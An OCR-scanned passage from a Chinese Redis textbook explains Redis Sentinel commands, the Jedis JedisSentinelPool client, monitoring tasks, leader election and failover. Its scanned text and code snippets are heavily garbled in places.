将 Sentinel 节 点 的 配置 强制 刷 到 磁盘 上 ， 这 个 命令 Sentinel 节 点 自身 用 得 
比较 多 ， 对 于 开发 和 运 维 人 员 只 有 当 外 部 原因 (例如 磁盘 损坏 〉 造 成 配置 文 
件 损坏 或 者 丢失 时 ， 这 个 命令 是 很 有 用 的 。 








例如 : 





127.0.0.1:26379> sentinel flushconfig 
OK 





10.sentinel remove<master name> 
取消 当前 Sentinel 闻 点 对 于 指定 <master name> 主 节点 的 监控 。 


例如 sentinel-1 当 前 对 mymaster-1 进 行 了 监控 : 





127.0.0.1:26379> info sentinel 
# Sentinel 

sentinel masters:2 

sentinel tilt:0 

sentinel running scripts:0 
sentinel scripts queue length:0 
master0:name=mymaster-2,status=ok,address=127.0.0.1:6382,slaves=2,sentinel 
masterl:name=mymaster-1,status=ok,address=127.0.0.1:6379,slaves=2,sentinel 




















例如 下 面 ，sentinel-1 节 点 取消 对 mymaster-1 市 点 的 监控 ,但 是 要 注意 这 
个 命令 仅仅 对 当前 Sentinel 节 点 有 效 。 








127.0.0.1:26379> sentinel remove mymaster-l1 
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OK 





再 执行 info sentinel 命 令 ， 发 现 sentinel-1 已 经 失去 对 mymaster-1 的 监控 : 





127.0.0.1:26379> info sentinel 

# Sentinel 

sentinel masters:1 

sentinel tilt:0 

sentinel running scripts:0 

sentinel scripts queue length:0 
master0:name=mymaster-2,status=ok,address=127.0.0.1:6383,slaves=2,sentinels=3 











1l1.sentinel monitor<master name><lip><port><quorum> 


Y 


这 个 命令 和 配置 文件 中 的 含义 是 完全 一 样 的 ， 只 不 过 是 通过 命令 的 形式 
来 完成 Sentinel 节 点 对 主 节 点 的 监控 。 


例如 命令 sentinel-1 节 点 重新 监控 mymaster-1 节 点 : 





127.0.0.1:26379> sentinel monitor mymaster-1 127.0.0.1 6379 2 
OK 





命令 执行 后 ， 发 现 sentinel-1 节 点 重新 对 mymaster-1 市 点 进行 监控 : 





# Sentinel 

sentinel masters:2 

sentinel ‘tiit :0 

sentinel running scripts:0 
sentinel scripts queue length:0 
master0:name=mymaster-2,status=ok,address=127.0.0.1:6383,slaves=2,sentinel 
masterl:name=mymaster-1,status=ok,address=127.0.0.1:6379,slaves=2,sentinel 




















12.sentinel set<master name> 


动态 修改 Sentinel 节 点 配置 选项 ， 这 个 命令 已 经 在 9.2.4 小 节 进 行 了 说 
明 ， 这 里 就 不 袭 述 了 。 
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13.sentinel 1s-master-down-by-addr 





Sentinel 节 点 之 间 用 来 交换 对 主 节 点 是 否 下 线 的 判断 ， 根 据 参数 的 不 
同 ， 还 可 以 作为 Sentinel 领 导 者 选举 的 通信 方式 ， 有 具体 细节 9.5 节 会 介绍 
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出 连接 


去 |- 


9.4 客户 I 


通过 前 面 的 学 习 ， 相 信 读 者 对 Redis Sentinel1 有 了 一 定 的 了 解 ， 本 节 将 介 
绍 应 用 方 如 何 正 确 地 连接 Redis Sentinel。 有 人 会 说 这 有 什么 难 的 ， 已 经 知道 





了 主 节点 的 jp 地址 和 端口 ， 用 对 应 编程 语言 的 客户 端 连接 主 节点 不 就 可 以 了 
吗 ? 但 试想 一 下 ， 如 果 这 样 使 用 客户 端 ， 客 户 端 连接 Redis Sentinel 和 主 从 复 
制 的 Redis 又 有 什么 区 别 呢 ， 如 果 主 节点 挂 掉 了 ， 虽 然 Redis Sentinel 可 以 完 
成 故障 转移 ， 但 是 客户 端 无 法 获取 这 个 变化 ， 那 么 使 用 Redis Sentinel 的 意义 
就 不 大 了 ， 所 以 各 个 语言 的 客户 端 需要 对 Redis Sentinel 进 行 显 式 的 支持 。 
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9.4.1 Redis Sentinel 的 客户 端 


Sentinel 节 点 集合 具备 了 监控 、 通 知 、 自 动 故障 转移 、 配 置 提供 者 若干 
功能 ， 也 就 是 说 实际 上 最 了 解 主 节 点 信息 的 就 是 Sentinel 节 点 集合 ， 而 各 个 
主 节 点 可 以 通过 <master-name> 进 行 标识 的 ， 所 以 ， 无 论 是 哪 种 编程 语言 的 
客户 端 ， 如 果 需 要 正确 地 连接 Redis Sentinel， 必 须 有 Sentinel 节 点 集合 和 


masterName 两 个 参数 。 
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9.4.2 Redis Sentinel 客 户 端 基本 实现 原理 


实现 一 个 Redis Sentinel 客 户 端的 基本 步骤 如 下 : 


) 人 遍历 Sentinel 闻 点 集合 获取 一 个 可 用 的 Sentinel 节 点 ， 后 面 会 介绍 
Sentinel 节 点 之 间 可 以 共享 数据 ， 所 以 从 任意 一 个 Sentinel 节 点 获取 主 节 点 信 
晨 都 是 可 以 的 ， 如 图 9-22 所 示 。 





2) 通过 sentinel get-master-addr-by-name master-name 这 个 API 来 获取 对 应 
主 节 点 的 相关 信息 ， 如 图 9-23 所 示 。 


3) 验证 当前 获取 的 “ 主 节点 ”是 真正 的 主 节 点 ， 这 样 做 的 目的 是 为 了 防 
止 故障 转移 期 间 主 市 点 的 变化 ， 如 图 9-24 所 示 。 


) 
1 
| sentinel-1] || wn? sentinel-2 sounsl2 | | | | sentinel-N En} 
1 
区 


遍历 Sentinel 节点 集合 
获取 一 个 可 用 的 Sentinel 节点 


. ee EE 
Sentinel 节点 集合 十 masterName 


图 9-22 ”获取 一 个 可 用 的 Sentinel 闻 点 


S18 


sentinel-k 


| 


1. sentinel 2, 返回 master 节点 
get-master-addr-by-name 


masterName 


(有 


Sentinel 节 点 


集合 十 masterName 


图 9-23 ”利用 sentinel get-master-addr-by-name 返 回 主 节点 信息 


1. role 或 者 info replication 2. 节点 角色 信息 


一 


Sentinel 节点 集合 十 masterName 


we 


图 9-24 “验证 主 节点 
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4) 保持 和 Sentinel 节 点 集合 的 “联系 "， 时 刻 获 取 关 于 主 节 点 的 相关 “ 信 
息 ”， 如 图 9-2$ 所 示 。 


) ) 
1 1 
| | sentinel-1 || sentinel-2 | | | | sentinel-N | 
) 1 
/ / 


= 时 1 4 这 - 沁 i 
Redis 数据 节点 的 变化 通知 


-一 


Sentinel 节点 集合 十 masterName 
图 9-25 ”客户 端 订阅 Sentinel 节 点 相关 频道 


从 上 面 的 模型 可 以 看 出 ，Redis Sentinel 客 户 端 只 有 在 初始 化 和 切换 主 节 
点 时 需要 和 Sentinel 节 点 集合 进行 交互 来 获取 主 节 点 信息 ， 所 以 在 设计 客户 
端 时 需要 将 Sentinel 节 点 集合 考虑 成 配置 〈 相 关节 点 信息 和 变化 ) 发 现 服 
务 。 








上 述 过 程 只 是 从 客户 端 设 计 的 角度 进行 分 析 ， 在 开发 客户 端 时 要 考虑 的 
细节 还 有 很 多 ， 但 是 这 些 问 题 并 不 需要 深究 ， 下 面 将 介绍 如 何 使 用 Java 的 
Redis 客 户 端 操 作 Redis Sentinel|， 并 结合 本 节 的 内 容 分 析 一 下 相关 源码 。 
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9.4.3 ” Java 操作 Redis Sentinel 


我 们 依然 使 用 Jedis2.8.2〈 以 下 简称 Jedis) 作为 Redis 的 Java 客 户 端 ， 
Jedis 能 够 很 好 地 支持 Redis Sentinel， 并 且 使 用 Jedis 连 接 Redis Sentinel 也 很 简 
单 ， 按 照 Redis Sentinel 的 原理 ， 需 要 有 masterName 和 Sentinel 市 点 集合 两 个 参 
数 。 第 4 章 我 们 介绍 了 Jedis 的 连接 池 JedisPool， 为 了 不 与 之 相 混 淆 ，Jedis 针 
对 Redis Sentinel 给 出 了 一 个 JedisSentinelPool， 很 显然 这 个 连接 池 保 存 的 连接 
还 是 针对 主 节 点 的 。Jedis 给 出 很 多 构造 方法 ， 其 中 最 全 的 如 下 所 示 : 








public JedisSentinelPool (String masterName, Set<String> sentinels, 
final GenericObjectPoolConfig poolConfig, final int connectionTimeout, 
final int soTimeout, 
final String password, final int database, 
final String clientName) 

















具体 参数 合 义 如 下 : 


.masterName 主 节 点 名 。 





‘sentinels Sentinel 节 点 集合 。 




















:poolConfig 一 common-pool 连 接 池 配置 。 
connectTimeout 一 一 连接 超时 。 

soTimeout 一 一 读 写 超时 。 

password 一 一 主 节 点 密码 。 

.database 当前 数据 库 索 引 。 
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客户 器 名 。 


:clientName 





例如 要 想 通 过 简单 的 几 个 参数 获取 JedisSentinelPool， 可 以 直接 按照 下 
面 方式 进行 JedisSentinelPool 的 初始 化 。 





JedisSentinelPool jedisSentinelPool = new JedisSentinelPool (masterName, 
sentinelSet, poolConfig, timeout); 














此 时 timeout 既 代表 连接 超时 又 代表 读 写 超时 ，password 为 空 ，database 
默认 使 用 0，clientName 为 空 。 具 体 可 以 参考 JedisSentinelPool 源 人 码 。 


和 JedisPool 非 常 类 似 ， 我 们 在 使 用 JedisSentinelPool 时 也 要 尺 可 能 按照 
common-pool 的 标准 模式 进行 代码 的 书写 ， 和 第 4 章 介 绍 的 JedisPool 的 推荐 使 
用 方法 是 一 样 的 ， 这 里 就 不 效 述 了 。 





Jedis jedis = nulil; 
try { 
jedis = jedisSentinelPool.getResource(); 
// jedis command 
} catch (Exception e) { 
logger.error (e.getMessage(), ) 7 
} finally { 
if (jedis != null) 
jedis.close(); 

















Oj 
jedis.close() 是 和 第 4 章 介绍 的 一 样 ， 并 不 是 关闭 Jedis 连 接 。 
JedisSentinelPool 和 JedisPool 一 样 ， 尽 可 能 全 局 只 有 一 个 。 


Jedis 源 码 中 的 JedisSentinelPool 束 是 按照 9.4.2 节 的 原理 来 实现 的 ， 所 以 
有 必要 介绍 一 下 JedisSentinelPool 的 实现 过 程 ， 下 面 给 出 的 代码 就 是 
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JedisSentinelPool 的 初始 化 方法 。 





public 


JedisSentinelPool (String masterName, Set<String> sentinels, 





fin 
fin 
fin 


al GenericObjectPoolConfig poolConfig, final int connectionTimeout, 
al int soTimeout, final String password, final int database, 
al String clientName) { 











Hos 
i 


tAndPort master = initSentinels (sentinels, masterName); 
tPool (master); 








下 面 的 代码 就 是 JedisSentinelPool 初 始 化 代码 的 重要 函数 
initSentinels (Set<String>sentinels，final String masterName) ， 和 9.4.2 节 分 析 
的 一 样 ， 包 含 了 Sentinel 节 点 集合 和 masterName 参 数 ， 用 来 获取 指定 主 节点 
的 ip 地 址 和 端口 。 








private 
// 
Hos 
// 


for 


} 
if 


} 
LY 


for 


} 
// 


HostAndPort initSentinels (Set<String> sentinels, final String masterNam 
主 节点 
















































































tAndPort master = null; 
遍历 所 有 Sentinel 节 点 

(String sentinel : sentinels) ({ 

// 连接 sentinel 节 点 

HostAndPort hap = toHostAndPort (Arrays.asList(sentinel.split(™"™:"))); 
Jedis jedis = new Jedis (hap.getHost(), hap.getPort ()); 

// 使 用 sentinel get-master-addr-by-name masterName 获 取 主 节点 信息 
List<String> masterAddr = jedis.sentinelGetMasterAddrByName (masterName) 
/ / 命令 返回 列表 为 空 或 者 长 度 不 为 2， 继 续 从 下 一 个 sentinel 节 点 查询 

if (masterAddr == null || masterAddr.size() != 2) { 

continue; 

} 

// 解析 masterAddr 获 取 主 节点 信息 

master = toHostAndPort (masterAddr); 

/ / 找到 后 直接 跳出 全 oz 循环 

break; 

(master == null) { 

/ / 直接 抛 出 异常 ， 

throw new Exception(); 
为 每 个 sentinel 节 点 开启 主 节点 switch 的 监控 线程 























(String sentinel : sentinels) ({ 

final HostAndPort hap = toHostAndPort (Arrays.asList (sentinel.split(":") 

MasterListener masterListener = new MasterListener (masterName, hap.getH 
hap.getPort ()); 

masterListener.start (); 











返回 结果 





return master; 
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具体 过 程 如 下 : 


) 通 历 Sentinel 节 点 集合 ， 找 到 一 个 可 用 的 Sentinel 节 点 ， 如 果 找 不 到 就 
从 Sentinel 节 点 集合 中 去 找 下 一 个 ， 如 果 都 找 不 到 直接 抛 出 异常 给 客户 端 : 








new JedisException("Can connect to sentinel, but " + masterName + " seems to be 





2) 找到 一 个 可 用 的 Sentinel 市 点 ， 执 行 
sentinelGetMasterAddrByName (masterName ) ， 找 到 对 应 主 节点 信息 : 





List<String> masterAddr = jedis.sentinelGetMasterAddrByName (masterName); 











3) JedisSentinelPool 中 没有 发 现 对 主 节 点 角色 验证 的 代码 ， 这 是 因为 
get-master-addr-by-name master-name 这 个 API 本 身 就 会 自动 获取 真正 的 主 节点 
《例如 故障 转移 期 间 ) 。 





4) 为 每 一 个 Sentinel 节 点 单独 局 动 一 个 线程 ， 利 用 Redis 的 发 布 订 阅 功 
能 ， 每 个 线程 订阅 Sentinel 节 点 上 切换 master 的 相关 频道 +switch-master。 








for (String sentinel : sentinels) { 
final HostAndPort hap = toHostAndPort (Arrays.asList (sentinel.split("™:"))); 
MasterListener masterListener = new MasterListener (masterName, hap. 
getHost(), hap.getpPport ()); 
masterListener.start (); 














下 面 代码 就 是 MasterListener 的 核心 监听 代码 ， 代 码 中 比较 重要 的 部 分 就 
是 订阅 Sentinel 节 点 的 +switch-master 频 道 ， 它 就 是 Redis Sentinel 在 结束 对 主 
节点 故障 转移 后 会 发 布 切换 主 节点 的 消息 ，Sentinel 节 点 基本 将 故障 转移 的 
各 个 阶段 发 生 的 行为 都 通过 这 种 发 布 订阅 的 形式 对 外 提供 ， 开 发 者 只 需 订阅 
感 兴趣 的 频道 即 可 (参见 9.6 节 表 9-6) ， 这 里 我 们 比较 关心 的 是 +switch- 
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master 这 个 频道 。 





Jedis sentinelJedis = new Jedis(sentinelHost, sentinelPort); 
/ / ”客户 端 订 阅 Sentinel 节 点 上 "+switch-master" (切换 主 节点 ) 频道 
sentinelJedis.subscribe (new JedisPubSub() { 
QOverride 
public void onMessage (String channel, String message) { 
String[] switchMasterMsg = message.split(™" "); 
if (switchMasterMsg.length > 3) 1 
/ / 判断 是 否 为 当前 masterName 
if (masterName.edquals (switchMasterMsg[0])) ({ 
/ / 发 现 当前 masterName 发 生 Switch， 使 用 LinitPool 重 新 初始 化 连接 池 
initPool (toHostAndPort (switchMasterMsg[3], switchMasterMsg[4])) 















































} 
} 


}, "+switch-master"); 


二 一 
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9.$ 实现 原理 


本 市 将 介绍 Redis Sentinel 的 基本 实现 原理 ， 有 具体 包含 以 下 几 个 方面 : 
Redis Sentinel 的 三 个 定时 任务 、 主 观 下 线 和 客观 下 线 、Sentinel 领 导 者 选举 、 
故障 转移 ， 相 信 通 过 本 市 的 学 习 读 者 能 对 Redis Sentinel 的 高 可 用 特性 有 更 加 
深入 的 理解 和 认识 。 
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9.5.1 三 个 定时 监控 任务 


一 套 合 理 的 监控 机 制定 Sentinel 节 点 判定 节点 不 可 达 的 重要 保证 ，Redis 
Sentinel 通 过 三 个 定时 监控 任务 完成 对 各 个 节点 发 现 和 监控 : 


1) 每 隔 10 秒 ， 每 个 Sentinel 节 点 会 癌 主 节点 和 从 节点 发 送 info 命 令 获 取 
最 新 的 拓扑 结构 ， 如 图 9-26 所 示 。 


篆 10 秒 





图 9-26 ”Sentinel 节 点 定时 执行 info 命 令 
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例如 下 面 就 是 在 一 个 主 节点 上 执行 info replication 的 结果 搬 段 : 





# Replication 

role:master 

connected slaves:2 
slave0:ip=127.0.0.1,port=6380,state=online,offset=4917,1ag=1 
slavel:ip=127.0.0.1,port=6381,state=online,offset=4917,1ag=1 




















Sentinel 节 点 通过 对 上 述 结果 进行 解析 就 可 以 找到 相应 的 从 节点 。 





这 个 定时 任务 的 作用 具体 可 以 表现 在 三 个 方面 : 





通过 向 主 节点 执行 info 命 令 ， 获 取 从 节操 的 信息 ， 这 也 是 为 什么 


Sentinel 节 点 不 需要 显 式 配置 监控 从 节点 。 





` 当 有 新 的 从 节点 加 入 时 都 可 以 立刻 感知 出 来 。 





节点 不 可 达 或 者 故障 转移 后 ， 可 以 通过 info 命 令 实时 更 新 市 点 拓 扑 信 


ls 


2) 每 隔 2 秒 ， 每 个 Sentinel 节 点 会 癌 Redis 数 据 节 点 的 sentinel : hello 
频道 上 发 送 该 Sentinel 节 点 对 于 主 节点 的 判断 以 及 当前 Sentinel 闻 点 的 信息 
(如 图 9-27 所 示 ) ， 同 时 每 个 Sentinel 节 点 也 会 订阅 该 频道 ， 来 了 解 其 他 
Sentinel 节 点 以 及 它们 对 主 节 点 的 判断 ， 所 以 这 个 定时 任务 可 以 完成 以 下 两 
A 





发现 新 的 Sentinel 节 点 : 通过 订阅 主 节点 的 ”sentinel : hello 了 解 其 他 
的 Sentinel 节 点 信息 ， 如 果 是 新 加 入 的 Sentinel 节 点 ， 将 该 Sentinel 节 点 信息 保 
存 起 来 ， 并 与 该 Sentinel 节 点 创建 连接 。 


'Sentinel 节 点 之 间 交 换 主 节 点 的 状态 ， 作 为 后 面 客观 下 线 以 及 领导 者 选 
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举 的 依据 。 


Sentinel 节 点 publish 的 消息 格式 如 下 : 








<Sentinel 节 点 IP> <Sentinel 节 点 端口 > <Sentinel 节 点 runId> <Sentinel 节 点 配置 版 本 > 
< 主 节 点 名 字 > < 主 节点 IP> < 主 节点 端口 > < 主 节点 配置 版 本 > 
































3) 每 隔 1 秒 ， 每 个 Sentinel 闻 点 会 同 主 节 点 、 从 节点 、 其 余 Sentinel 节 点 
发 送 一 条 ping 命 令 做 一 次 心跳 检测 ， 来 确认 这 些 节 点 当前 是 否 可 达 。 如 图 9- 
28 所 示 。 通 过 上 面 的 定时 任务 ，Sentinel 节 点 对 主 节点 、 从 节点 、 其 余 
Sentinel 市 点 都 建立 起 连接 ， 实 现 了 对 每 个 节点 的 监控 ， 这 个 定时 任务 是 节 
点 失败 判定 的 重要 依据 。 





每 2 秘 每 2 秒 








dsrqnd 
aqrDsqns 


__ Sentinel _:hello 


master 


图 9-27 Sentinel 节点 发 布 和 订阅 ”sentinel hello 频 道 
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图 9-28 。 Sentinel 节点 向 其 余 节 点 发 送 ping 命 令 
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9.5.2 ”主观 下 线 和 客观 下 线 


1. 主 观 下 线 


上 一 小 节 介绍 的 第 三 个 定时 任务 ， 每 个 Sentinel 节 点 会 每 隔 1 秒 对 主 节 
点 、 从 节点 、 其 他 Sentinel 节 点 发 送 ping 命 令 做 心跳 检测 ， 当 这 些 节点 超过 
down-after-milliseconds 没 有 进行 有 效 回复 ，Sentinel 节 点 就 会 对 该 节点 做 失败 
判定 ， 这 个 行为 叫做 主观 下 线 。 从 字面 意思 也 可 以 很 容易 看 出 主观 下 线 是 当 
前 Sentinel 节 点 的 一 家 之 言 ， 存 在 误 判 的 可 能 ， 如 图 9-29 所 示 。 


| Sentinel-1 | 











Sentinel-2 | 





放 过 down-after-milliseconds 天 有 效 


回复 则 子 观 下 线 (sdown) 





Sentinel-3 | 
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图 9-29 Sentinel 节 点 主观 下 线 检 测 


2. 客 观 下 线 





当 Sentinel 主 观 下 线 的 节点 是 主 节 点 时 ， 该 Sentinel 节 点 会 通过 sentinel is- 


master-down-by-addr 命 令 向 其 他 Sentinel 节 点 询问 对 主 节 点 的 判断 ， 当 超过 








<quorum> 个 数 ，Sentinel 节 点 认为 主 节 点 确实 有 问题 ， 这 时 该 Sentinel 节 点 会 
做 出 客观 下 线 的 决定 ， 这 样 客 观 下 线 的 含义 是 比较 明显 了 ， 也 就 是 大 部 分 
Sentinel 节 点 都 对 主 闻 点 的 下 线 做 了 同意 的 判定 ， 那 么 这 个 判定 就 是 客观 
的 ， 如 图 9-30 所 示 。 


Os 


从 节点 、Sentinel 市 点 在 主观 下 线 后 ， 没 有 后 续 的 故障 转移 操作 。 





这 里 有 必要 对 sentinel is-master-down-by-addr 命 令 做 一 个 介绍 ， 它 的 使 用 
方法 如 下 : 





sentinel is-master-down-by-addr <ip> <port> <current epoch> <runid> 





ip: 主 节 点 卫 。 
.port: 主 节 点 端口 。 
current epoch: 当前 配置 纪元 。 


runid: 此 参数 有 两 种 类 型 ， 不 同类 型 决定 了 此 API 作 用 的 不 同 。 





当 runid 等 于 “* 时 ， 作 用 是 Sentinel 节 点 直接 交换 对 主 市 皮下 线 的 判定 。 
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当 runid 等 于 当前 Sentinel 节 点 的 runid 时 ， 作 用 是 当前 Sentinel 节 点 希望 目 
标 Sentinel 节 点 同意 自己 成 为 领导 者 的 请 求 ， 有 关 Sentinel 领 导 者 选举 ， 后 面 


全 直人 


] Sentinel-1 | Sentinel-3 | 




















图 9-30 ”Sentinel 节 点 对 主 节 点 做 客观 下 线 


例如 sentinel-1 节 点 对 主 节 点 做 主观 下 线 后 ， 会 癌 其 余 Sentinel 节 点 〈 假 


设 sentinel-2 和 sentinel-3 节 点 ) 发 送 该 命令 : 
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sentinel is-master-down-by-addr 127.0.0.1 6379 0 * 





返回 结果 包含 三 个 参数 ， 如 下 所 示 : 


-down_state: 目标 Sentinel 节 点 对 于 主 节 点 的 下 线 判 断 ，1 是 下 线 ，0 是 
在 线 。 


:leader runid: 当 leader runid 等 于 “*” 时 ， 代 表 返 回 结 果 是 用 来 做 主 节点 
是 否 不 可 达 ， 当 leader_runid 等 于 具体 的 runid， 代 表 目 标 节 点 同意 runid 成 为 


“leader epoch: 领导 者 纪元 。 
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9.$.3 ”领导 者 Sentinel 节 点 选举 





假如 Sentinel 节 点 对 于 主 节 点 已 经 做 了 客观 下 线 ， 那 么 是 不 是 就 可 以 立 
即 进行 故障 转移 了 ? 当然 不 是 ， 实 际 上 故障 转移 的 工作 只 需要 一 个 Sentinel 
节点 来 完成 即 可 ， 所 以 Sentinel 节 点 之 间 会 做 一 个 领导 者 选举 的 工作 ， 选 出 
一 个 Sentinel 市 点 作为 领导 者 进行 故障 转移 的 工作 。Redis 使 用 了 Raft 算 法 实 
现 领 导 者 选举 ， 因 为 Raft 算 法 相对 比较 抽象 和 复杂 ， 以 及 篇 幅 所 限 ， 所 以 这 
里 给 出 一 个 Redis Sentinel 进 行 领导 者 选举 的 大 致 思路 : 





1) 每 个 在 线 的 Sentinel 节 点 都 有 资格 成 为 领导 者 ， 当 它 确 认 主 节点 主观 
下 线 时 候 ， 会 同 其 他 Sentinel 市 点 发 送 sentinel is-master-down-by-addr 命 令 ， 


要 求 将 自己 设置 为 领导 者 。 


2) 收 到 命令 的 Sentinel 节 点 ， 如 果 没 有 同意 过 其 他 Sentinel 节 点 的 sentinel 


is-master-down-by-addr 命 令 ， 将 同意 该 请 求 ， 否 则 拒绝 。 








3) 如 果 该 Sentinel 节 点 发 现 自 己 的 票数 已 经 大 于 等 于 max (quorum， 
num (sentinels) /2+1) ， 那 么 它 将 成 为 领导 者 。 





4) 如 果 此 过 程 没 有 选举 出 领导 者 ， 将 进入 下 一 次 选举 。 
图 9-31 展 示 了 一 次 领导 者 选举 的 大 致 过 程 : 


1) sl 〈sentinel-1) 最 先 完成 了 客观 下 线 ， 它 会 癌 S2 〈sentinel-2) 和 
s3 (sentinel-3) 发 送 sentinel is-master-down-by-addr 命 令 ，s2 和 s3 同 意 选 其 为 
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2) sl 此 时 已 经 拿 到 2 张 投 票 ， 满 足 了 大 于 等 于 max (quorum， 
num (sentinels) /2+1) =2 的 条 件 ， 所 以 此 时 s1 成 为 领导 者 。 








A 
发 出 的 回 蕊 | 接 这 的 回电 











s] s2 ，Ss3 
s2 sl 
s3 sl 

















图 9-31 sl 节点 收 到 s2 和 s3 节 点 两 个 同意 要 


由 于 每 个 Sentinel 节 点 只 有 一 票 ， 所 以 当 S2 癌 sS1 和 SS3 索 要 投票 时 ， 只 能 获 
取 一 票 ， 而 s3 由 于 最 后 完成 主观 下 线 ， 当 s3 向 sl1 和 s2 索 要 投票 时 一 票 都 得 不 
到 ， 整 个 过 程 如 图 9-32 和 9-33 所 示 。 








实际 上 Redis Sentinel 实 现 会 更 简单 一 些 ， 因 为 一 旦 有 一 个 Sentinel 节 点 获 
得 了 max (quorum，num (sentinels) /2+1) 的 票数 ， 其 他 Sentinel 节 点 再 去 确 
认 已 经 没有 意义 了 ， 因 为 每 个 Sentinel 节 点 只 有 一 票 ， 如 果 读 者 有 兴趣 的 
话 ， 可 以 修改 sentinel.c 源 码 ， 在 Sentinel 的 执行 命令 列表 中 添加 monitor 命 令 : 
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ET 


Em EN 
= 


已 经 投票 给 s1 





影 井 议 尽 谨 竹 涉 


图 9-32 ”8s2 节 点 收 到 s1 节 点 的 同意 票 ，s3 闻 点 的 拒绝 票 


fs 
号 
Em 





让 二 和 
测量 


毕生 咏 必 痛 莹 站 


图 9-33 ”s3 节 点 收 到 s1 和 s2 节 点 的 拒绝 票 





struct redisCommand sentinelcmds[] = { 
{"monitor",monitorCommand,1,"",0,NULL,0,0,0,0,0}, 
{"ping",pingCommand,1,"",0,NULL,0,0,0,0,0}, 
{"sentinel",sentinelCommand,-2,"",0,NULL,0,0,0,0,0}, 





537 


重新 编译 部 署 Redis Sentinel 测 试 环境 ， 在 3 个 Sentinel 节 点 上 执行 monitor 


从 人 人 
命令 : 


1) 可 以 看 到 sentinel is-master-down-by-addr 命 令 ， 此 命令 的 执行 过 程 并 
没有 在 Redis 的 日 志 中 有 所 体现 ，monitor 监 控 类 似 如 下 命令 : 





/ /” 因 为 最 后 参数 是 "*"， 所 以 此 时 是 Sentinel 节 点 之 间 交 换 对 主 节点 的 失败 判定 

[0 127.0.0.1:38440] "SENTINEL" "is-master-=-down-=by=addr™ ™127.0.0.1™ ™6379™ ™O™ 

/ /” 因 为 最 后 参数 是 具体 的 runid， 所 以 此 时 代表 runid="2f4430bb62c039fb1l25c5771d7cde2571a7 
a5ab4" 的 节点 希望 目标 Sentinel 节 点 同意 自己 成 为 领导 者 。 

[0 127.0.0.1:38440] “SENTINEL" "ijs=master=down=by=addr™ ™127.0.0.1™ "6379™ "1™ 
"2f4430bb62c039fb125c5771d7cde2571a7a5ab4" 






























































2) 选举 的 过 程 非常 快 ， 基 本 上 谁 先 完成 客观 下 线 ， 谁 就 是 领导 者 。 


3) 一 旦 Sentinel 得 到 足够 的 票数 ， 不 存在 图 9-32 和 图 9-33 的 过 程 。 
Os 


有 关 Raft 算 法 可 以 参考 其 GitHub 主 页 https://raft.github.io/。 
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9.5.4 ”故障 转移 


领导 者 选举 出 的 Sentinel 节 点 负责 故障 转移 ， 具 体 步 又 如 下 : 





1) 在 从 节操 列表 中 选 出 一 个 节点 作为 新 的 主 市 把， 选择 方法 如 下 : 


) 过 滤 :“ 不 健康 ”( 主 观 下 线 、 断 线 ) 、5 秒 内 没有 回复 过 Sentinel 节 
点 ping 啊 应 、 与 主 节 点 失 联 超过 down-after-milliseconds*10 秒 。 





b) 选择 slave-priority《〈 从 节点 优先 级 ) 最 高 的 从 节点 列表 ， 如 果 存 在 则 
返回 ， 不 存在 则 继续 。 





c) 选择 复制 偏 移 量 最 大 的 从 节点 (复制 的 最 完整 )， 如 果 存 在 则 返 
回 ， 不 存在 则 继续 。 


d) 选择 runid 最 小 的 从 节点 。 


整个 过 程 如 图 9-34 所 示 。 
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图 9-34 选 出 最 好 的 从 节点 


2) Sentinel 领 导 者 节点 会 对 第 一 步 选 出 来 的 从 节点 执行 slaveofno one 命 
令 让 其 成 为 主 节 点 。 
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3) Sentinel 领 导 者 节点 会 问 剩 余 的 从 节点 发 送 命令 ， 让 它们 成 为 新 主 节 
点 的 从 节点 ， 复 制 规则 和 parallel-syncs 参 数 有 关 。 





4) Sentinel 市 点 集合 会 将 原来 的 主 节 点 更 新 为 从 节点 ， 并 保持 着 对 其 关 
注 ， 当 其 恢复 后 命令 它 去 复制 新 的 主 市 反 。 
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9.6 开发 与 运 维 中 的 问题 


本 节 首 先 分 析 Redis Sentinel 故 障 转移 的 日 志 ， 读 懂 日 志 是 运 维 中 的 重要 
方法 ， 接 下 来 将 介绍 Redis Sentinel 中 节点 的 稼 见 运 维 方法 ， 最 后 介绍 如 何 借 


助 Redis Sentinel 实 现 读 写 分 离 。 
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9.6.1 ”故障 转移 日 志 分 析 


1.Redis Sentinel 拓 扑 结 构 


本 次 故障 转移 的 分 析 直 接 使 用 9.2 节 的 拓扑 和 配置 进行 说 明 ， 为 了 方便 
分 析 故 障 转移 的 过 程 ， 表 9-4 列 出 了 每 个 节点 的 角色 、ip、 端 口 、 进 程 号 、 
runId 。 


表 9-4 Redis Sentinel 拓 扑 表 


Es = 
19661 d5671ff4160ab3782461079ebd62ff629aaaf605 
19667 | a683630c3ebd60106a938287cb5bc310f9da2d58 
19685 ee31e5150ed8acf5f58bldeflb4d0086f7d71f12 
19697 | 94dde2f5426ed7ae6125a74da76caSaac31edb8b 
19707 | bgdl5bese55501513aec6c388e58c50198870134 
19713 7044753f564e42b1578341acf4c49dca3681151c 


因为 故障 转移 涉及 节点 关系 的 变化 ， 所 以 下 面 说 明 中 用 端口 号 代 表 节 


1 
2 
3 
4 
5 
6 


2. 开 始 故 障 转 移 测试 





模拟 故障 的 方法 有 很 多 ， 比 较 典 型 的 方法 有 以 下 几 种 : 
:方法 一 ， 强 制 杀 掉 对 应 节点 的 进程 号 ， 这 样 可 以 模拟 出 宕 机 的 效果 。 


:方法 二 ， 使 用 Redis 的 debug sleep 命 令 ， 让 市 点 进入 睡眠 状态 ， 这 样 可 
以 模拟 阻塞 的 效果 。 


:方法 三 ， 使 用 Redis 的 shutdown 命 令 ， 模 拟 正 常 的 停 掉 Redis。 
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本 次 我 们 使 用 方法 一 进行 测试 ， 因 为 从 实际 经 验 来 看 ， 数 百 上 干 台 机 费 
偶尔 宕 机 一 两 全 是 会 不 定期 出 现 的， 为 了 方便 分 析 日 志 行 为 ， 这 里 记录 一 下 
操作 的 时 间 和 命令 。 


用 Kill-9 使 主 节 点 的 进程 宕 机 ， 操 作 时 间 2016-07-2409: 40: 35: 





$ kill -9 19661 





6380 节 点 晋升 为 主 节 点 ，6381 节 点 成 为 6380 节 点 的 从 节点 。 


4. 故 障 转移 分 析 


相信 故障 转移 的 效果 和 预想 的 一 样 ， 这 里 重点 分 析 相 应 节操 的 日 志 。 


(1) 6379 节 点 日 志 


两 个 复制 请 求 ， 分 别 来 目 端口 为 6380 和 6381 的 从 节点 : 





19661:M 24 Jul 09:22:16.907 * Slave 127.0.0.1:6380 asks for synchronization 
19661:M 24 Jul 09:22:16.907 * Full resync requested by slave 127.0.0.1:6380 


